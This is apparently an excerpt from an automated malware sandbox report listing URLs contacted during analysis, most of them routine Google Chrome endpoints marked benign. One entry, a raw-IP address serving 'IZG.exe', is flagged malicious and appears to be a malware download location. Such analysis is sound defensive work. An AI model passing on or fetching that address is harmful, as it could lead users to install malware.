https://www.google.com/async/ddljson?async=ntp:2 false
    		high
    http://23.94.54.101/IZG.exe true
    • 5%, Virustotal, Browse
    • Avira URL Cloud: safe
    		 unknown
    https://www.google.com/sorry/index?continue=https://www.google.com/async/ddljson%3Fasync%3Dntp:2&q=EgS_YJbhGKiDzLEGIjBAUeVDNkDlIZK5bJjKqxg5bm1WdYDjlLN5FTPlXAMxmGzLgqn1-pjmnO28YPm4sx4yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM false
      		high
      https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw false
        		high
        https://www.google.com/sorry/index?continue=https://www.google.com/async/ddljson%3Fasync%3Dntp:2&q=EgS_YJbhGKeDzLEGIjBSLRpDP2VScdj7Wpd5SrmnrYLtq8Jxv8Ovu6XTpT1_vcDso1uPHungiEeAb9P6jnYyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM false
          		high
          https://www.google.com/async/newtab_promos false
            		high
            https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0 false
              		high
              https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgS_YJbhGKeDzLEGIjDeDtf43edoX_DQr4xePeWIRj_Zk_cdJHjRaIqGGnjHhWEURD3S2dwEoI7xgpMRkzoyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM false
                		high
                https://www.google.com/chrome/whats-new/m109?internal=true false
                  		high
                  https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgS_YJbhGKeDzLEGIjAngwEuuQDIFwKdm-Bs70gGjylYp6jr6gUkagUnxegoQxARWccq1LwEgBECfcL1PAAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM false
                    		high
                    https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgS_YJbhGKiDzLEGIjDtjnMJodbdiXF-HQ_fQDkAxnKugxL_IiaU5Bdf1yGe-xSVBDfYF_nK-idk43_IHf0yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM false
                      		high